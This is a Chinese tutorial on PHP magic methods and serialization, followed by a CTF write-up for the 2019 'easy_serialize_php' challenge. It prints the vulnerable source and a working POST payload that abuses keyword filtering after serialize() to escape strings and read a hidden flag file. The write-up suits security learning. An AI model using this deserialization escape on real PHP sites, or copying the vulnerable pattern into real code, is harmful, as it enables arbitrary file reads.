魔法函数
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。 魔术方法包括:
1. __construct() 2. __destruct() 3. __call() 4. __callStatic() 5. __get() 6. __set() 7. __isset() 8. __unset() 9. __sleep() 10. __wakeup() 11. __toString() 12. __invoke() 13. __set_state() 14. __clone() 15. __autoload() 16. __debugInfo()
|
调用的顺序为: 构造方法 => set方法. => get方法 => isset方法 => unset方法 => isset方法 => 析构方法
__set()和__get(),刚刚是访问不存在或者不可访问属性时候进行的调用。__call() __callStatic() 是访问不存在或者不可访问的方法时候
__sleep() __wakeup() __toString()
serialize会先调用sleep函数 unserialize会先调用wakeup函数
tostring当需要输出得到对象名称时候会调用
序列化public private protect参数产生不同结果
1 <?php 2 class test{ 3 private $test1="hello"; 4 public $test2="hello"; 5 protected $test3="hello"; 6 } 7 $test = new test(); 8 echo serialize($test); 9 ?>
|
test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:”test”:3:{s:11:” test test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:” * test3”;s:5:”hello”;}
通过对网页抓取输出是这样的 O:4:”test”:3:{s:11:”\00test\00test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:”\00*\00test3”;s:5:”hello”;}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
php反序列化字符逃逸
<?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc'; var_dump(unserialize($str));
|
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
提取出关键信息
$function = @$_GET['f'];
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
GET 传参 f phpinfo 得到信息 d0g3_f1ag.php
show_image进行反序列化 $userinfo[‘img’]是flag.php的base64加密
filter函数进行过滤 会将字符串的特定字符为空由此(字符逃逸)
看到unset销毁$_SESSION 重新赋值
extract() 函数从数组中将变量导入到当前的符号表。
即会将之前$_SESSION存在的变量全部移除
post
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
|
经过filter过滤后phpflag就会被替换成空,
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。
两个键值分别被序列化成了
s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。
得到
$flag = ‘flag in /d0g3_fllllllag’;
base64加密 L2QwZzNfZmxsbGxsbGFn
得出flag